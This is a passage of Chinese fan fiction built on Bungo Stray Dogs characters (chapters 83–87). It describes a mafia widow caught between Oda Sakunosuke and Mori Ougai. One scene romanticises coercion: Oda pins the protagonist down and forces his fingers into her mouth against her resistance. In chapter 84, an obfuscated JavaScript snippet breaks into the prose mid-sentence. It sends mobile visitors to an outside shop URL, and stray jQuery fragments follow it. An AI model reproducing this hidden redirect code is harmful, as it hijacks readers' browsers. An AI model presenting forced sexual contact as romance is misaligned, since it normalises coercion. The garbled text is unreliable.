24.《失乐园》

作品:《三朝遗孀,马上第四朝

    83.


    害怕了。


    织田作之助漫不经心地想,加大手上的力度。


    红肿的嘴唇被磨破皮了,滑腻的血滴由织田作之助耐心地在唇上涂抹均匀,他头一次遇见这么小的“伤口”,有些新奇。


    好痛。


    你被桌角碰一下都要疼半天,哪受得了这个。


    对你来说,这是天大的伤。


    你的眼眶一下子红了,连着鼻头红成一片,水液蔓延要把金瞳给淹了,上挑的眼尾耸拉下来,你瞪大眼睛愣是不求饶也不低头。


    “我讨厌你。”


    又倔又傻。


    你有点怕织田作之助,一直,大概两次出场都伴随暴力给你留下了深刻印象,你一向欺软怕硬,虽然也对他没好气,但对比其他人要温柔多了。


    最和善心眼最好的人被你错认成最危险的人,织田作之助觉得很无辜。


    他又坐近了些。


    膝盖顶着膝盖,长裤与皮肤摩擦,不用看织田作之助也知道很快你的膝盖也是一片红,全身上下碰哪儿都会留下印记。


    也不知道你的皮肤到底有多嫩。


    就这样明目张胆的留下偷晴的记号,上一个男人一定很得意地放你走了。


    真期待他明天看到你身上多出的痕迹时的样子。


    织田作之助沉默太久,你还以为自己的威胁起了效果,停下絮絮答答的抽噎,高昂起头:


    “不想被我讨厌就快滚。”


    “……”


    好笨,终于被你气笑。


    鲜红的嘴唇一张一合,几次差点将织田作之助的手指吃进去。


    好色。


    大手突然圈住你的两只手腕,你和上次一样你被拉进对方的怀抱,惊恐万状的你拼命后仰,忘记后面没有支撑,被织田顺势扑倒在床上,跨坐在你身上的织田作之助居高临下地望着你,从始至终连眉毛都没皱一下,制服你太简单了。


    “!!!”


    手指伸进你的嘴巴里搅动。


    舌头、牙齿、软腭,被他摸了个遍。


    还有可怜的下唇,被其余手指肆意揉捏,殷红的滴出血。


    太变态了。


    你就说经常砂人的都是变态,他心理已经不正常了金盆洗手也没用,应该报警把他抓起来!


    你连自己是黑/手/党之妻都忘了,竟然想报警。


    食指向前刺探,得到你干呕的反馈后退回安全的位置,醋意渐渐平息,织田作之助再问一遍:


    “我问你呢,给我什么奖赏。”


    奖个屁!


    你拼命挣扎,用头撞他,用脚踹他,根本使不上劲,连话都说不出来。


    你呜呜呜地骂,像极了与谢野小姐养的小兔子,实验前仿佛知道自己的命运,气得直跺脚,却无能无力。


    不能把你逼急了。


    织田作之助垂眼,决意从温暖湿润的地方撤出,缓缓抽出在你口腔中搅动的手指。


    银丝不断拉长,无可避免地最终断掉。


    织田作之助注视着断掉的那条线,它一定把你月匈前的布料濡湿了。


    啧,可惜了。


    无声的干呕后,你恨恨道:


    “……随便你拿走房间里的东西,我绝无二话!”


    想到自己的财富,你挺起胸膛说话变得有底气。


    “就怕你这种穷酸货靠杀人才混个温饱的垃圾,根本分不清贵贱!”


    确实,屋子里的陈设每一件都价值连城。


    织田作之助环顾四周,漆黑的屋子里看不清装修布置,但他闯空门时早就记得一清二楚了。


    中式花鸟屏风将小客厅与卧室分开,墙上挂着山下清的富士山,日式木雕描金多宝阁上摆放法兰西的正装佩剑,每一样都价值连城。


    但是,这些宝物放在一起却很杂乱,你还在提升品味的阶段。


    还是你本人更珍贵些。


    织田作之助弯下腰,在你越来越急促的呼吸中,两个人的距离逐渐缩小。


    他停下了。


    大约过了一分钟,你不知道具体过了多久,只觉得时间好漫长,织田作之助的脸在你眼前不断放大,你惊恐地闭上眼。


    干净、廉价的洗衣粉味扑上你的鼻尖,一阵刺痛袭来。


    他竟然,在你鼻子上咬了一口?!


    愣神之际,青年在你唇上飞快地啄了一下。


    “看来你也不太想抗拒我。”


    枷锁消失,你从床上蹦起来,织田作之助跑得更快,窗户大开,呼呼灌进冷风。


    他最后一句话是。


    “晚安,明晚见。”


    84.


    “雪鹤姐,雪鹤姐。”


    你充耳不闻,躺在摇椅上,精神萎靡。


    你怕热,出趟门哪怕走了几步路就坐车,也不停地流汗,回来后一直歇着。


    可恶的森鸥外,不知道已经过你们约定的时间了吗,你都等急了。


    “雪鹤姐。”


    啧,你不耐烦地咂嘴:“什么事,太宰。”


    太宰治又不说话了,他今天难得打扮的清爽,罕见的穿了短袖短裤,不过碍于一直以来的习惯,绷带依然缠在身上。


    见你看过来,太宰治燃起一丝期待。


    你不咸不淡地瞥了一眼,转过头去,不甚在意。


    横滨进入梅雨季,潮湿又闷热,小孩耐不住也正常。


    好无助的感觉,太宰治站在原地,胸口的空洞一再放大,风灌进来呜呜地吹。


    积攒出改变的第一步勇气很难,需要鼓励的少年不知所措,他阖上眼,细密的睫毛投下浓重的阴影。


    依靠本能和欲望驱使而生存的你,对没有生命力的他不感兴趣,再自然不过。


    不要做蠢事了。


    你一无所知,你在想另一件事。


    你的生日快到了。


    往年你的生日,父母在时也不过多两道菜,父母死后你再没过过生日,结婚那一年提前一个月你就开始大张旗鼓的庆祝,想玩想买的来了个遍,今年就有点无聊了。


    你还挺期待森鸥外能整出什么花样。


    还有另一件事,光想想就感觉耳根烧烧的。


    饱受摧残的下唇快要被你咬烂。


    鎏金的眼珠想东西入了神,空洞地定在太宰治的身上,收敛嚣张气焰,面无表情的你美貌成倍放大,到了恐怖的程度。


    薄薄的纱裙粘在身上,雪白的皮肉和裙子融为一体,曲线毕露,不似真人而是一座玉雕的美人像,一丝生气也无。


    惊世的美貌和惊世的头脑给人的感官是一样——这是人类吗。


    天才的怪癖令世人接受,嚣张跋扈的美人令世人追逐,因为他们清晰地知晓到自己的特殊和无可取代,无形中生出高人一等的傲慢和生气勃勃。


    这是令人接受的。


    可当这两种人表现出无机质的冷酷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395440|198089||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,剔除多余的七情六欲,就显得可怕了。好像他们是神专门为测试世界的极限,创造出来的一样。


    森鸥外过来时,看到了类似的景象。


    你和太宰治面对面,两人一句话不说,露出统一的清冷神情,残忍且冷酷。


    85.


    听到森鸥外的脚步声,你和太宰治齐齐看向他,还是无机质的冷漠眼神。


    太像了。


    森鸥外感慨,太像了你们两个。


    有没有一种可能,你和太宰治是天生一对,是上天特意为彼此创造出的完美伴侣?


    不可能。


    “太宰君,我要你帮忙带的话没给夫人带到吗。”


    “不管任务完成没有,我不是教过你要及时和大人沟通,不能让我着急。”


    太宰治撞开森鸥外,一言不发走掉了。


    年轻人。


    森鸥外拧起的眉毛松开了。


    他不疾不徐朝你走来,拉开椅子坐在你对面,眼尾噙着笑,“夫人是在等我吗。”


    发现你唇角不自然的红肿,目光凝滞片刻。


    你浑然不觉,朝森鸥外发脾气:“你迟到了一个小时。”


    他一过来,雕像就变回真人的生动,嘀嘀咕咕地抱怨撒娇,森鸥外眼角的细纹加深了些。


    森鸥外故作惊讶:“太宰君没告诉你吗,约会推迟了。”


    “最近我在研究首领的病和异能,等我忙完时发现时间来不及了,赶忙让太宰过来报信,告诉你约会的时间地点变了。”


    为什么不打电话不发消息,不讲不讲。


    为什么让太宰治传话杀人诛心,不讲不讲。


    你被说服了,好吧,这件事确实比较重要。


    “那我们去哪约会。”


    太阳西沉,往日这时你们已经开始了,损失了这么长时间,一会儿你要加倍讨回来。


    “不急。”


    森鸥外勾起你的脖子,不轻不重地捏了一下下巴。


    “先告诉我,昨天我吻的很用力吗。”


    86.


    “……当然,还好意思说。”


    你目光闪躲。


    “是吗,我下次轻一点。”


    森鸥外的语气自然,转身去柜子里找药膏。


    太好了糊弄过去了,你松口气。


    87.


    你出轨了。


    森鸥外转身背对你,肃穆的像个死人。


    手上有条不紊地继续寻找,眼睛被过量的信息占据,你的一举一动拓印在他脑中,检索放大后得出结论——你有了新欢。


    沸腾的妒火熊熊燃烧。


    昨天白天一切正常,晚上和你约会之后你的双唇在他的侵略下才变了样,可也到不了骇人的地步。


    你出轨了。


    就那么饥饿,那么不满,昨晚从他的房间离开后,又招来别的野男人?!


    还是你对他钓人的把戏不屑一顾,预备彻底把他踢出局?


    可笑的是,作为第一个勾引你出轨的男人,他连指责的资格都没有,他还没有名分。


    不行,尽快调整计划。


    森鸥外生平第一次方寸大乱。


    给你涂药时,森鸥外笑着说:


    “雪鹤,我们今晚去你的房间吧?”


    “嗯,好……嗯嗯嗯,不行!”


    织田作之助说,今晚还来找你。


    要是他和森鸥外碰上怎么办。